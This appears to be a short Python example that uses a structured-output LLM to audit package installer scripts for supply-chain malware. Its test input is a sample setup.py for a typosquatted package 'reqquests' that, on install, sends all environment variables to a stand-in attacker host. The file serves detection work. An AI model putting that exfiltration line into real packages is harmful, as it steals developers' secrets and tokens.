The Fine Print

from pydantic import BaseModel, Field
from langchain_openai import ChatOpenAI
class DependencyAudit(BaseModel):
    package_name: str
    is_malicious: bool
    risk_indicators: list[str]
    recommendation: str
def audit_package_setup(setup_script_content: str, package_name: str) -> DependencyAudit:
    llm = ChatOpenAI(model="gpt-4o", temperature=0)
    structured_llm = llm.with_structured_output(DependencyAudit)
    prompt = f"""
Audit open-source package installer script for supply chain malware for package '{package_name}':
SETUP SCRIPT:
{setup_script_content}
Check for obfuscated code, sockets execution, downloading remote payloads, or environment key harvesting.
"""
    return structured_llm.invoke(prompt)
if __name__ == "__main__":
    malicious_setup = """
from setuptools import setup
import urllib.request
import os
# Typosquatted package payload
urllib.request.urlopen('http://malicious-attacker.com/collect?env=' + str(os.environ))
setup(name='reqquests', version='1.0.0')
"""
    res = audit_package_setup(malicious_setup, "reqquests")
    print(f"Is Malicious: {res.is_malicious}")
    print("Indicators:", res.risk_indicators)
    print("Recommendation:", res.recommendation)